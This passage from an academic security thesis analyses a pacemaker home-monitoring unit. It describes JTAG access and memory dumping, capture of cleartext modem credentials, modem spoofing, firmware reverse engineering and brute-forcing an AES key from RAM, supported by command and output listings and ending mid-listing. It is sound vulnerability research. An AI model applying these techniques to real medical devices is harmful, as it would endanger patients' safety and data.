Figure 4.14 shows the pinout found using the JTAGulator.
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Figure 4.14: Mapping of the CardioMessenger II-S JTAG Pins

In some case, the JTAGulator might be useless, for instance if the JTAG interface has
been disabled by the manufacturer. To confirm a hypothesis, an X-Ray imaging of
the PCB can be performed. That way, by knowing the pinout of the microcontroller,
one can follow the electric lines to find out which pins are part of the JTAG interface.
This is particularly handy when the chip comes in a Ball Grid Array (BGA) package.
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H2.2 Interaction with the JTAG pins

Knowing the JTAG pinout, an attacker can connect to the interface using low-cost
equipment. Usually, to interact with a JTAG interface, proprietary connectors
are used (such as the J-LINK adapters from Segger). However, connectors can be
expensive. In the context of this thesis, we are trying to use off-the-shelves equipment
and if possible, to use open-source project along with the cheapest hardware. That
is why, OpenOCD is part our toolbox. Even though it could be more practical to
use a proprietary interface, we present here a way to interact with a JTAG interface
using OpenOCD along with a Raspberry Pi Zero W.

OpenOCD (Open On-Chip-Debugger) aims at providing debugging, in-system pro-
gramming and boundary-scan testing for embedded target devices as explained by
Rath [45]. Used along with a small adapter which provides the user with the required
electrical signals, one can do on-chip-debugging or programming without the need of
an external, and often expensive, programmer. As mentioned above, it can be used
with a Raspberry Pi Zero, which costs around $10. An alternative to the Raspberry
Pi, the Shikra, is presented in Appendix A.2.1. The drawback of using OpenOCD is
that it can be unstable or contain bug. Furthermore, it is not necessarily straight
forward to understand when used for the first time. Despite of this, it becomes a
very powerful tool once the configuration’s problems are solved. In our mind, the
possibility to use “script” is also a plus.

The Raspberry Pi’s configuration to work with OpenOCD is described in Ap-
pendix A.2. The pins of the Raspberry Pi Zero are connected to the HMU according
to Table 4.1.

JTAG Pin Raspberry Pi Pin7

TCK 23

TDI 19

TDO 21

TTMS 22

TRST (opt) 24

Table 4.1: Raspberry Pi’s JTAG connection using OpenOCD

From an attacker point of view, JTAG’s debug functionalities are very interesting.
With those features, it is possible to halt the CPU, read and write the memory but also
to display the content of the registers. We wrote several OpenOCD configuration’s
scripts to help us automate certain tasks. They are available in Appendix B.3.

Figure 4.15 shows a session on OpenOCD’s debug server, with the HMU’s microcon-
troller as the target.

7Here the pins correspond to the GPIO’s pins of the Raspberry and not to the microcontroller’s
pins.
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Figure 4.15: Interaction with the chip through JTAG

Once JTAG access granted, it is possible to gather very detailed information, including
for instance, the content of the CPU’s registers as demonstrated in Figure 4.16.

Figure 4.16: Available information through JTAG

H2.3 Dumping the memory

OpenOCD provides the user with a dump_image command which reads the memory.
By using the memory map of the microcontroller presented in Figure 4.17, it is easy
to dump specific blocks of memory. Sections of interest include the bootloader, the
content of the flash memory and of the external flash memory. Further memory
analysis is performed in Subsection 4.2.4

To automatically dump the sections of the memory we were interested in, we used
an OpenOCD configuration file, which is available in Appendix B.3. The results of
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Figure 4.17: AT91RM9200 memory map [1]

the execution of that script is presented in Listing 4.7.

Listing 4.7: Dumping memory from the microcontroller

1 TargetName Type Endian TapName State

2 -- -------------- ------- ------ -------------- -------

3 0* at91rm9200 .cpu arm920t little at91rm9200 .cpu halted

4 Dumping bootloader ...

5 dumped 1048576 bytes in 52.277569 s (19.588 KiB/s)

6 Done!

7 Dumping SRAM ...

8 dumped 104576 bytes in 5.229600 s (19.528 KiB/s)

9 Done!

10 Dumping Flash content ...
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11 dumped 4194304 bytes in 208.740555 s (19.622 KiB/s)

12 Done!

13 Dumping RAM ...

14 dumped 2097152 bytes in 104.555344 s (19.588 KiB/s)

15 Done!

H2.4 Alter the memory

Given a JTAG access, one can read and write the memory (both the RAM and the
flash memory) along with the CPU’s registers. That gives the ability to an attacker to
alter the memory and thus to alter the data on it (for instance, the telephone number
being used). It also means that an attacker can load her code in memory and execute
it as she has control over the CPU’s registers, and thus over the program execution.
The resume command of OpenOCD allows the user to resume the execution with a
specified value of pc.

As we did not want to brick the system in case the vendor implemented some
checksum during the boot process, we did not try to write directly the flash memory.
We have not reverse engineered enough of the firmware and bootloader to confirm
that it is safe to do so. Nevertheless, we confirmed that it is possible to send data
into the RAM by simply sending it through the modem’s communication channel
(see H4). That way we were able to write the string “NTNUNTNUNTNU” into the
memory and to see it in the memory dump as one can see in Listing 4.8.

Listing 4.8: Visualizing strings sent in memory
1 $ cat ram.img | xxd | grep -i "NTNU"

2 0000 b070: 554e 544e 554e 544e 554e 544e 550d 0a00 UNTNUNTNUNTNU ...

3 000 a9520 : 0000 0000 0d0a 0d0a 4e54 4e55 4e54 4e55 ........ NTNUNTNU

4 000 a9530 : 4e54 4e55 4e54 4e55 0d0a 3135 3237 0d0a NTNUNTNU ..1527..

Finally, it is possible, using OpenOCD, to directly load an image in RAM and to
execute it. An attacker could then craft his own firmware and run it on the device.

Finding F2: The JTAG interface is enabled and available to anyone who has
some soldering skills, giving an attacker the full control over the system. That
includes reading and writing the memory but also, code execution.

The information gathered thanks to F0 is useful here as it allows the attacker to
know that the microcontroller features JTAG which helps configuring OpenOCD’s
target. However, it is worth noticing that, in fact, one does not really need it. Indeed,
“OpenOCD has a limited autoprobing ability to look at the scan chain, doing a blind
interrogation and then reporting the TAPs it finds”.8

8According to OpenOCD’s documentation, which can be downloaded at http://openocd.org/
doc-release/pdf/openocd.pdf

http://openocd.org/doc-release/pdf/openocd.pdf
http://openocd.org/doc-release/pdf/openocd.pdf
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4.2.3 Eavesdropping and network emulation

Modem’s communication channel (H3)

As highlighted in the hardware analysis, the CardioMessenger II-S has a modem on
its board. The modem being the interface to the internet, patient’s data are likely to
pass through it to reach the vendor’s servers. Moreover, on the T-Line version, that
modem is on an external PCB that is plugged onto the main one, exposing its pins
and allowing us to easily interact with it.

H3.1 Passive eavesdropping of the channel

Thanks to a guidance from Éireann Leverett who had already done some testing on
the board, the first hypothesis was that it is possible to eavesdrop the communication
channel between the microcontroller and the modem. By looking at the datasheet9

of the modem, we identified the pins from the RS-232 standard, and particularly
the UART ones. Those pins are shown on Figure 4.18. It is to be noted that the
labels are here named from the DTE point-of-view which means TX correspond to
the “input” of the modem’s UART and RX to the “output”.

Figure 4.18: Modem RS-232 pins

Connecting to those pins with a Logic Analyzer and then with a USB-to-TLL
adapter gave us the ability to monitor the exchanges between the modem and the
microcontroller. Depending on which pin we were eavesdropping, we could either see
what the microcontroller was sending to the modem, or the answer of the modem.
Moreover, the modem was echoing all commands sent to it. Listing 4.9 presents the
configuration of the modem by the microcontroller. This listing has been acquired
through a script we developed and which is available in Appendix B.1.1.

9Available at http://www.multitech.com/documents/publications/data-sheets/86002071.pdf

http://www.multitech.com/documents/publications/data-sheets/86002071.pdf
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Listing 4.9: Eavesdropping on the modem’s pins

1 [2019 -03 -30 11:43:24] at

2 atii5# vversion

3 AT# MCOUNTRY ?

4 at

5 AT+WOPEN =1

6 AT# DIALSELECT =1

7 AT# AUTHENT =PAP

8 at#atcmd =0,"- STE =7"

9 at#atcmd =1 ,"+ A8E =6 ,5 ,0 ,1 ,0 ,0"

10 at#atcmd =2,"X3"

11 at

12 AT# DIALN1 =" T9W[ REDACTED ]"

13 AT#ISPUN ="[ REDACTED ]@cm3 - homemonitoring .de"

14 AT#ISPPW ="[ REDACTED ]"

15 at#atcmd =0,"- STE =7"

16 [2019 -03 -30 11:43:26] AT# CONNECTIONSTART

17 [2019 -03 -30 11:43:28] at# connectionstop

The output provide several hints about the system and the communication patterns.
One can notice that these commands are “AT commands”, already described in
Section 2.3.3. By looking at the “AT Commands for GSM/GPRS Wireless Modems
with IP Connectivity”10, we can learn that the modem is ordered by the microcon-
troller to connect to an Access Point Name (APN), which is the gateway between
the mobile network and another network, usually the internet. Firstly, it starts the
TCP/IP stack with the WOPEN command and then, selects the primary Dial number
to be used with the DIALSELECT command. The authentication method is then set
to Password Authentication Protocol (PAP). Finally, the number is set, along with
the username and password required to connect to the APN. The way this type of
connection works is described in Section 2.3.3. Username and password are sent in
clear text. Also, we noticed that the username corresponds to the serial number of
the device, which is printed on a label below it.

When connecting to “cm3-homemonitoring.de:80”, an Apache welcome page is dis-
played. The Apache version is “Apache/2.2.15 (CentOS)”. This version is affected by
multiple vulnerabilities with a CVSS up to 7.8. Moreover, the certificate is not valid,
or there is no certificate. However, we do not know if that server is used for something
or if the vendor is just using the domain name. No testings have been performed on
that attack vector, as it is out of scope and would require the authorization of the
vendor.

10Available at https://www.embeddedarm.com/documentation/third-party/ts-modem2_
developerguide-gsm-gprs-ip-commands-s000333b.pdf

https://www.embeddedarm.com/documentation/third-party/ts-modem2_developerguide-gsm-gprs-ip-commands-s000333b.pdf
https://www.embeddedarm.com/documentation/third-party/ts-modem2_developerguide-gsm-gprs-ip-commands-s000333b.pdf
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Figure 4.19: The HMU is accessing the internet using an APN

H3.2 The credentials are still valid

One can see that the command to close the connection is issued right after the
command that asks for it to start. That is because the device was not plugged into a
telephone line and the modem returned a “NO LINE” message to the microcontroller.
As there were no telephone lines available, we wanted to verify whether or not the
credentials were still valid. For that we tried two options:

1. Using a regular phone and trying to connect the APN

2. Trying to observe the connection on the CardioMessenger II-S GSM (see Sec-
tion 4.3)

When trying to connect to the APN with the credentials using a regular phone, no
access to the network is provided. The results being similar on the CardioMessenger
II-S GSM, we believed that the credentials are revoked after a certain time or event
(the patient is no longer using the service for example).

However, Lie confirmed that the credentials are still valid [34]. It is in fact the SIM
card that is not registered anymore for the CardioMessenger II-S GSM. To do so, she
took the SIM card of the CardioMessenger LLT2, whose PIN code was acquired using
our APDU parser, and which seems to be able to connect to the vendor’s server, and
she used it with the CardioMessenger II-S GSM. The device was then able to obtain
an IP, connect to the VPN and send its data.

H3.3 Dumping the modem configuration

In order to know what was the exact configuration of the modem, we dumped its
full configuration. This was done thanks to the VALL command. By plugging our
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computer on the modem with the DTE convention (that means, RX on RX and
TX on TX), we were able to block all commands sent by the microcontroller and
to “spoof” it. We then dumped two times the modem’s configurations. The first
time, just after the start up to get its default values and a second one after the
microcontroller has finished to configure it. The configuration confirms that PPP
is used by the HMU but this testing did not bring any new information. Both
configurations are included in Appendix C.1.1.

Finding F3: An attacker can gather APN’s credentials by eavesdropping on
the communication channel between the microcontroller and the modem. Those
credentials are sent in cleartext and are still valid for at least some of the devices.

Network emulation (H4)

Since we did not have any available telephone lines, and to avoid interacting directly
with the vendor’s backend infrastructure, we decided to emulate the ISP’s network.
It would have been a lot of unnecessary work to configure a real modem to connect
to the board, that is why we took advantage of the modem being removable from the
PCB and plugged a USB-to-TTL connected to a computer instead. The goal was to
see if it was possible to trick the microcontroller into thinking that the computer was
the modem and to make it believe that the connection with the APN is established.

H4.1 Spoofing the modem

Emulating the modem manually worked, as we were able to get an answer from the
microcontroller when responding “OK” to its first “at” command. To make it more
practical we developed a script to act as the modem based on the communication we
were able to eavesdrop. This script is available in Appendix B.1.2. The expected
answers were guessed by looking at the “AT commands” reference. As a result, we
noticed that the microcontroller is opening a Transmission Control Protocol (TCP)
socket as soon as it got an IP, and is then sending data to a server with a fixed IP.
Listing 4.10 presents an example of such an interaction with the microcontroller.

Listing 4.10: Spoofing the modem to interact with the microcontroller

1 < [2019 -03 -27 22:54:03] AT# DIALN1 ="T>W[ REDACTED ]"

2 > [2019 -03 -27 22:54:03] OK

3 < [2019 -03 -27 22:54:04] AT#ISPUN ="[ REDACTED ]@cm3 - homemonitoring .

de"

4 > [2019 -03 -27 22:54:04] OK

5 < [2019 -03 -27 22:54:05] AT#ISPPW ="[ REDACTED ]"

6 > [2019 -03 -27 22:54:05] OK

7 < [2019 -03 -27 22:54:06] at#atcmd =0,"- STE =7"

8 > [2019 -03 -27 22:54:06] OK
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9 < [2019 -03 -27 22:54:09] AT# CONNECTIONSTART

10 > [2019 -03 -27 22:54:09] DIALING

11 > [2019 -03 -27 22:54:09] TW[ REDACTED ]

12 > [2019 -03 -27 22:54:09] CONNECT 115200

13 > [2019 -03 -27 22:54:09] 172.16.14.80

14 > [2019 -03 -27 22:54:09] OK_Info_PPP

15 < [2019 -03 -27 22:54:12] AT# TCPSERV =1 ,"172.16.14.1" AT# TCPPORT

=1 ,4242 AT#OTCP =1

16 > [2019 -03 -27 22:54:12] OK_Info_WaitingForData

17 ---------- Switching to data mode -------------

18 < [2019 -03 -27 22:54:12] [ REDACTED ]@cm3 - homemonitoring .de

19 [ REDACTED ]

20 < [2019 -03 -27 22:54:12] aa0005098e000000 [ REDACTED ]0807204446

d8b24981f356c69 ...

One can notice that the contacted server has a private IP. It means it is only accessible
from inside the provider’s network. This is generally a good practice as no one can
access the server from the public internet. Also, the port in use here, 4242 is not
reserved for any specific protocol. It is known as a port used by trojan, mostly
because it repeats the number “42”.11 We believe that the connection established
is a “telnet-like” connection. Indeed, one can notice that the first data that is sent
after the switch to data mode is the same username and password used to connect
to the APN. After having sent the data, nothing else happens. The microcontroller
remains quiet and does not order the modem to quit the data mode. Eventually, it
will reboot and the whole process will start again. The data sent is new all the time
and its varies between 1kB and 3kB. It was also confirmed that nothing is happening
on the other pins of the RS-232 connector. They can indeed be used to control the
modem with hardware signals.

H4.2 Sending data

As we were able to spoof the modem and interact with it, we then wondered if it is
possible to have more advanced interactions with it.

The fact that nothing happens after the data is sent to the modem does not seem
normal. The modem is not order to return to the command mode and nothing else
is sent before the whole device reboots. One hypothesis could be that the device is
waiting for a response from the server. It was then tried to reply to what the device
sends with first random data, and then by sending back the data. The goal was to
generate a new flow of data that could be error messages for instance. However, we
did not get any result. The only thing noticed is that the device crashed when too
much data were sent too quickly (sending the whole 3kB back). We further observed
that the data sent is written in RAM (see H2.4).

11As explained on the following page: https://www.speedguide.net/port.php?port=4242.

https://www.speedguide.net/port.php?port=4242
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H4.3 Scanning

The second hypothesis was that the device could be “scanned”. Indeed, even though
the TCP/IP stack is handled by the modem, PPP still defines a way for the micro-
controller to be alerted in case an external device is trying to establish a connection
with it: the RING string is sent by the modem to the microcontroller to notify it of
an incoming call. It is then supposed to issue a command to answer or reject the
call. In order to verify that, the modem script was adapted to send a RING string to
the microcontroller at different moments (before the configuration starts, during the
configuration and after data has been sent). None of those notifications gave a result.
We also responded by the negative to the WOPEN command and sent the RING string
instead. The device then stopped the connection and started all over again.

Finding F4: As demonstrated by our ability to spoof the connection, there is
no mutual authentication between the microcontroller and the backend server,
allowing an attacker to perform a Man in the Middle (MitM) attack.

Finding F5: The data is sent using telnet (or an equivalent program running over
TCP) and the credentials are sent in cleartext over the communication channel
allowing an attacker to eavesdrop the communication or to perform a MitM attack.

Finding F6: Credentials used to connect to the APN are reused to connect to the
“telnet-like” service. An attacker can then get an access to the VPN and interact
with the backend server using the same credentials.

Even though these three findings have a significant impact on the system, we have
to highlight the fact that the vendor followed some good security practices. Firstly,
the backend server is not exposed on the internet and a VPN access is required, which
is a good practice. Secondly, the data is not sent in cleartext over the communication
channel, but is encrypted with “strong” encryption (as shown by other findings, see
H8) confirming the claim of the vendor in the manual of the CardioMessenger II-S,
saying that data is encoded between the HMU and the backend server. “Encrypted”
being here erroneously referred to as “encoded”.

Data analysis (H5)

H5.1 Data is encrypted / encoded

Given the gathered data, our guess was that it is encrypted, encoded or compressed in
some way. To verify that assumption, we first used the strings12 utility to confirm

12As explained on the man page, the strings utility “finds the printable strings in a object or
other binary.”
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that there were no ASCII texts in it. Then, we used binwalk13 on it to check for
any known header but there was no results. Finally, we calculated its entropy to get
an idea of whether it was encrypted or compressed. The entropy being close to 8 bits
per byte (> 7.9), it is more likely to be encrypted or random data. Listing 4.11 shows
the entropy of the data sent by the microcontroller, the username and password
being excluded.

Listing 4.11: Entropy of the data gathered

1 $ cat hex_data .txt | xxd -r -p | ent

2 Entropy = 7.926409 bits per byte.

3

4 Optimum compression would reduce the size

5 of this 3379 byte file by 0 percent .

6

7 Chi square distribution for 3379 samples is 356.45 , and randomly

8 would exceed this value less than 0.01 percent of the times.

9

10 Arithmetic mean value of data bytes is 126.0648 (127.5 = random )

.

11 Monte Carlo value for Pi is 3.175843694 (error 1.09 percent ).

12 Serial correlation coefficient is 0.003429 ( totally uncorrelated

= 0.0).

While one can wonder which kind of data is being sent, we believe that there are
three possibilities:

– Patients’ data

– Communication related to software updates or HMU configuration

– Logs (errors, etc.)

H5.2 Basic reverse Engineering of the protocol used

Even though the entropy of the gathered data seems to show that is is either encrypted
or random data, it does not mean that all the data is. Hence, we collected several
samples and analyzed them together. It is worth mentioning that, before handling
the data, one needs to “sanitize” it. Indeed, the characters 0x10 and 0x03 have to
be escaped when sent to the modem. 0x03 is indeed the “End of text” character and
“0x10” the escape character. They are then sent as 0x1003 and 0x1010.

The data has been obtained by monitoring the HMU during 48h while our computer
was emulating the modem. As a result the modem sent multiple times data on a
same “session” (that means, without being shutdown). We also gathered data from
different sessions. Listing 4.12 presents the first bytes of two different data flows that
have been gathered.

13According to its man page, binwalk is a “tool for searching binary images for embedded files
and executable code.”
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Listing 4.12: Hex dump of the first bytes of four data chunks gathered

1 05072 e00000d[REDACTED]08090 d909787d0c71d # session 1

2 0502 fe000000[REDACTED]0802 b5742b63f5343d # session 2

3 05030 e000001[REDACTED]080 d4caa019dee6028 # session 2

4 05030 e000002[REDACTED]080 db29ad304f90ffe # session 2

A pattern exists in these data, giving a header as presented in Table 4.2.

Byte(s) Value

0 Always 0x05

1-2 Corresponds approximately to the size of the data sent

3-5 A counter that increments each time a packet is sent

6-9 The same 4 bytes sequence is repeated [REDACTED]. That se-
quence, converted to an integer corresponds to [REDACTED]which
is the HMU’s serial number

10 Always 0x08, which we think is the start of the encryption packet

11 Always between 0x00 and 0x0e, which could be the padding

Table 4.2: Pattern of the gathered data

That pattern does not follow any known protocol header. It is most likely a proprietary
protocol created by the vendor to communicate with its servers. At that point we
had a guess on the structure of the header (see Figure 4.20) but no other information.

0 1 3 6 10 N-X N

5 LEN PCKT NB HMU ID DATA PADDING?

8 P? ENC. DATA?

Figure 4.20: Structure of the protocol’s header

We also noticed that the length of the packet was always congruent to 14 modulo
16 (and by extension to 6 modulo 8). For instance, with the four samples from
Listing 4.12:

Even though the encryption algorithm used here is not known, this could be a
good indication of the usage of a block cipher such as Data Encryption Standard
(DES), Triple DES, Advanced Encryption Standard (AES) or Blowfish, which all
have 64bits or 128bits key.
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72e16 = 183810 ≡ 14 [16]
2fe16 = 76610 ≡ 14 [16]
30e16 = 78210 ≡ 14 [16]

Finding F7: A proprietary protocol is used to send the data to the backend server.
The HMU ID is available in the header, allowing an attacker to link a given packet
to a given HMU (and with a given patient if she has the corresponding data).

4.2.4 Memory analysis and reverse engineering

Our analysis of the memory, and more specially of the firmware is divided into three
main steps. First, we analyze the RAM and gather useful information that help in
the reverse engineering of the firmware, i.e. debug strings, the memory mapping, etc.
In a second step, we load the binary files into Ghidra14 with the correct architecture
and base addresses, which allows us to decompile it. Finally we perform some reverse
engineering to understand the structure of the protocol used and attempt to decrypt
the data sent by the HMU to the server.

RAM analysis (H6)

H6.1 The memory is not encrypted

The first operation performed after having dumped the RAM was to use strings to
have an idea of what strings can be found in memory. There is no RAM encryption
mechanism and one can gather interesting information. For instance, by looking for
the string “src” in the output of the strings utility, we can get a list of the source
files. There is a special formatting, which seems to match the “keyword substitution”
feature of the Concurrent Versions System (CVS). We believe that they were using
this feature to generate the logging messages automatically.

1 $ cat sdram.img | strings | grep -i "src"

2 ...

3 $Source : src/ syshelper .s $ $Revision : 1.2 $

4 $Source : src/ Ulpamipair .c $ $Revision : 1.11 $

5 $Source : src/ ulpami .h $ $Revision : 1.13 $

6 $Source : src/ Utimer .c $ $Revision : 1.5 $

7 $Source : src/ command .c $ $Revision : 1.3 $

8 $Source : src/ command .h $ $Revision : 1.2 $

9 $Source : src/crc.c $ $Revision : 1.2 $

10 $Source : src/crc.h $ $Revision : 1.2 $

11 $Source : src/fifo.c $ $Revision : 1.10 $

12 $Source : src/fifo.h $ $Revision : 1.2 $

14Describe in Section 4.2.4.
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13 $Source : src/flash.c $ $Revision : 1.27 $

14 $Source : src/flash.h $ $Revision : 1.6 $

15 $Source : src/fram.c $ $Revision : 1.11 $

16 $Source : src/fram.h $ $Revision : 1.9 $

17 $Source : src/gprs.c $ $Revision : 1.40 $

18 $Source : src/gprs.h $ $Revision : 1.13 $

19 $Source : src/gsm.c $ $Revision : 1.47 $

20 $Source : src/gsm.h $ $Revision : 1.12 $

21 ...

H6.2 Credentials can be gathered from memory

We also confirm that the username and password used to connect to the VPN/APN
are stored in memory and in cleartext as highlighted in Listing 4.2.4.

1 $ cat sdram.img | strings | grep -i " monitoring " -C 2

2 ...

3 [ REDACTED ]@cm3 - homemonitoring .de

4 [ REDACTED ]

5 ...

H6.3 Usage of debug strings

Other interesting information gathered are the names of functions and error strings.
More specifically, one can get the names of the functions sending the messages
received while emulating the modem. Some error messages presented in Listing 4.2.4
contain the expected encryption algorithms. All this information is useful when
reverse engineering the communication protocol as further explained in H8.

1 $ cat sdram.img | strings | grep -i "get"

2 ...

3 Error: GetContainerFromGroup : sanity check failed

4 Error: GetContainerFromGroup : CRC error in msg container

5 GetDataFromMessageLayer sanity : status not OK

6 Wrong frame ID in GetDataFromMessageLayer

7 CRC check in GetDataFromMessageLayer

8 GetDataFromCompressionLayer sanity

9 GetDataFromEncryptionLayer : too many padding bytes

10 GetDataFromTransportLayer sanity

11 CRC check in GetDataFromTransportLayer

12 GetDataFromTransportLayer :start

13 TransportLayerToFifo : GetDataFromTransportLayer ()

14 GetDataFromEncryptionLayer :start

15 TransportLayerToFifo : GetDataFromEncryptionLayer ()

16 GetDataFromCompressionLayer :start

17 TransportLayerToFifo : GetDataFromCompressionLayer ()

18 GetDataFromMessageLayer :start
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19 TransportLayerToFifo : GetDataFromMessageLayer ()

20 Get Container from Group:start

21 ...

22 GetDataFromEncryptionLayer : wrong ID byte (%02 Xh): expected

TRIPLE_DES_CBC (%02 Xh) or AES_CBC (%02 Xh)!

23 GetDataFromEncryptionLayer : wrong ID byte (%02 Xh): expected DES

(%02 Xh), TRIPLE_DES_CBC (%02 Xh) or AES_CBC (%02 Xh)!

24 ...

H6.4 Files can be gathered from memory

Along with those findings we also found what seems to be a log file. It contains only
the error message NO PROVIDER DETECTED as well as what is probably the name of
the application and its version: T4APP 1.20.

binwalk has also been used on the RAM dump to see if any known file lies in it. On
some of the RAM dumps performed, binwalk recognized a compressed file but not
on all dumps. That file, once extracted and decompressed, is actually the same “log
file” containing NO PROVIDER DETECTED multiples time. After having analyzed the
firmware and the encryption protocol, we confirm that this is the file that is sent by
the HMU. The data sent to the server is then available in cleartext in memory.

H6.5 Memory mapping

The last analysis performed on the memory dumps is the analysis of the entropy
distribution. Indeed, understanding the structure of the memory is important to
prepare the firmware’s analysis. From the microcontroller datasheet [1], we expected
the bootloader to repeat on itself due to the Memory Controller: “Within the Internal
Memory address space, the Address Decoder of the Memory Controller decodes eight
more address bits to allocate 1-Mbyte address spaces for the embedded memories.
The allocated memories are accessed all along the 1-Mbyte address space and so are
repeated n times within this address space, n equaling 1 Mbyte divided by the size of
the memory.” That is indeed what can be observed on the entropy graph presented
in Figure 4.21.

We also expected the firmware to be loaded in RAM, which is the case when looking
at their entropy distribution (see Figure 4.22). The common area are framed.

Finding F8: The memory is unencrypted, allowing an attacker to access in
cleartext credentials, debug strings and all the data that is sent to the backend
server.

Firmware analysis (H7)

H7.1 Mapping the firmware in Ghidra

As the National Security Agency (NSA) released its own reverse engineering tool in
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Figure 4.21: Entropy distribution of the bootloader’s dump

(a) Burst Flash Memory (b) Random Access Memory

Figure 4.22: Entropy distribution of the ram and of the flash memory

open source at the end of 2018, we decided here to try it as it is considered by some
as the open source version of IDA Pro, which is a reference in the reverse engineering
area. We installed it from the sources available on GitHub.15

The next step was to create a project in Ghidra and to import the dump files. For
that, Ghidra needs some information such as the microcontroller’s architecture and
endianess, along with the base address for each file. All these information can be
found in the AT91RM9200’s datasheet [1]. The mapping of the different files is the
following:

– bootloader.img: ARM v4t little endian, base address: 0x0000 0000

– sdram.img: ARM v4t little endian, base address: 0x1000 0000

15Available at https://github.com/NationalSecurityAgency/ghidra

https://github.com/NationalSecurityAgency/ghidra
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– flash.img: ARM v4t little endian, base address: 0x2000 0000

Even if Ghidra is easy to understand, part of the documentation written by Travis
Goodspeed for the project md3801tools on GitHub16 helped us applying a basic
reverse engineering methodology to the firmware. Ghidra is able to perform basic
analysis on the binaries and to provide us with functions, strings, disassembly code,
etc. It might, however, get confused and not find the interrupt vector table at the
beginning of the flash though, but that is not a problem for us.

H7.2 Locating the pacemaker’s communication code in the firmware

The HMU communicates with both the pacemaker and the backend server. In the
next section, the reverse engineering process of the communication protocol with
the server is detailed. Even if it is not in our scope to analyze the communication
link with the pacemaker, we still confirmed that the code is indeed available in the
firmware. When looking at the strings obtained in H6.3, we find a lot of references
to “ulpami”. Ulpami is the acronym for Ultra Low Power Active Medical Implant.
Those strings are then likely to be related to the communication with the pacemaker.
When looking at their usage in the code, one can see the code in charge of dealing
with the pacemaker communication, as presented in Figure 4.23.

H7.3 The firmware is common to both versions of the HMU

Several strings that are related to GSM and SMS were encountered during the
firmware analysis. Now, the CardioMessenger II-S TLine does not have the required
hardware to use the mobile network, which led us think that the firmware is common
to both HMU. Listing 4.13 shows an example of the strings related to the mobile
network that can be gathered in the firmware.

Listing 4.13: Gathered strings related to the GSM versions

1 READSMS_PARSE

2 READSMS_DELETE

3 SMS_OFF

4 SMS_COMMUNICATION

5 READ_SMS

6 DELETE_SMS

7 PARSE_INCOMING_SMS

8 LIST_SMS

9 [ SKIPPED ]

Finding F9: The firmware is not encrypted nor obfuscated, easing the reverse
engineering task for an attacker.

16Available at https://github.com/travisgoodspeed/md380tools/wiki/GHIDRA

https://github.com/travisgoodspeed/md380tools/wiki/GHIDRA


4.2. SECURITY ANALYSIS OF THE CARDIOMESSENGER II-S TLINE 65

Figure 4.23: Decompiled code - Pacemaker communication

Reverse Engineering the communication protocol (H8)

H8.1 Locating the code in charge of packets’ creation

Our main objective with the reverse engineering of the firmware was to understand
what is the data sent and what is the protocol structure. To do so, we used the
strings found in the RAM, such as “GetDataFromMessageLayer”. Indeed, once we
knew where those strings are located RAM, we used the “find references” feature of
Ghidra. That provides us with the functions where are referenced the strings. As a
result, we got a function which seemed to be the packing function we were looking
for so we name it “PackData”. Part of that function’s decompiled code is shown in
Figure 4.24. All the functions and variables that have an english name in the rest
of this thesis have been renamed by us during the reverse engineering process. The
same applies to comments in code.

We were able to make sense of most of the code creating the packets (and also
receiving the packets) by looking at the disassembly and by doing hypotheses on the
role of some functions. Notably, we identified:
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Figure 4.24: Partial decompiled code of the PackData function

– The general function in charge of packing the data (whose code is partially
exposed in Figure 4.24)

– The functions handling the encapsulation for each layer:

◦ PackToMessageLayer

◦ PackToCompressionLayer

◦ PackToEncryptionLayer

◦ PackToTransportLayer

– The compression format used is “deflate”, which is a “lossless compressed data
format” defined to RFC1951.

– The encryption algorithms used: DES, 3DES CBC and AES CBC

When looking at the PackToEncryptionLayer we see the three algorithms used for
encryption, as presented in Figure 4.27 at the end of this Section.
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H8.2 Understanding the packets’ structure

Thanks to H8.1, we confirmed most of our findings regarding the communication
packets’ structure exposed in H5.2. From there we updated our diagram on the
communication protocol’s structure. The full layers’ encapsulation is presented in
Figure 4.25.

Based on our new understanding of the protocol, our initial script, that was only
parsing the transport layer based on our guesses, has been updated. It is now able
to parse all layers. However, for the decryption to be fully functional, the decryption
key is still required.

H8.3 Finding the AES key

In order to find the key, we first thought that we could reverse engineer the code
and understand how the key was obtained. From our first analysis, we believed that
the key was derivated from a key derivation function. However, after trying to make
sense of the code of that function, decrypting the data was still not possible and
none of the possible key was working. Reproducing the “key derivation function”
would have been time consuming and we decided to try other methods.

Having the disassembled code of the PackToEncryptionLayer function, one knows
the address of the derivation function. Hence, we took advantage of having JTAG
access to set hardware breakpoints at those specific addresses (before and after the
call). Our idea was simple: the key is or is not in RAM before this call and has to be
in RAM after as it is used for the encryption, which starts right after. Dumping the
RAM at both this breakpoints and doing a diff on them should then give us the key
(among other data). However, none of the 16 bytes sequences was clearly identified
in the bytes that changed between the two dumps.

For the second try, the objective was to know what is the data that is supposed to
be encrypted. We then reproduced the idea of dumping the RAM before a function’s
execution, but for each function of the layer. We could then see the evolution of
the data in RAM at each layer. We noticed that data is modified in place during
the packing process. The file is copied in RAM, then compressed and encrypted in
place and finally the transport layer header and footer are added. At that point,
we had the compressed data that is supposed to be encrypted, and its structure
0x9F + 0x1F8B + ..., which is the same structure as a gzip file. The differences
between the two files is presented in Figure 4.26.

With the knowledge of both the plaintext and the ciphertext, we then thought about
finding the key by brute forcing the AES key. Of course, brute forcing the whole key
space was not an option. However, the key is in RAM just before the encryption
starts. The RAM being a file of 2Mb, we included a feature in our script to brute
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Et: Encryption type (8 = AES CBC; 7 = 3DES CBC; 6 = DES)

Pc: Padding from the compression layer

Gzip header: 10 bytes starting with 0x1F8B (0x1F: compressed file; 0x8: deflate)

Gzip footer: CRC and length of original data

Figure 4.25: Detailed structure of the communication protocol’s packet

force the key by using the RAM file as the key space: we are taking a 16 bytes
windows and then shift it from one byte each try,17 generating a new key.

17Here we were taking the whole RAM file without any other considerations. Of course, it would
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Figure 4.26: Content in RAM before and after PackToEncryptionLayer

Our python’s script takes in average 1.9 × 10−5 s to decrypt the data with a given
key. Based on that, we calculated that brute forcing the key would take in the worst
case scenario18 around

2 097 152
1

1.9
× 105

≈ 40s

The flash dump’s file can also be used, as discovered later. In fact, the key is stored
at the beginning of that file. An example of the script’s output is presented in
Listing 4.14. The full script is available in Appendix B.2.

Listing 4.14: Brute forcing the AES key

1 $ python3 cm - decrypt .py validation -tests/ file_modem .bin -b

validation -tests/ ram_dump / ram_b_PackToEncryptionLayer .img

2 ** CM DECRYPT v1.0 **

3

4 [*] Opening validation -tests/ file_modem .bin ...

5

6 -- FILE INFORMATION --

7

8 File size: 2514 bytes (hex: 9D2)

9 File created : Sat May 18 00:42:41 2019

10 File modified : Sat May 18 00:42:41 2019

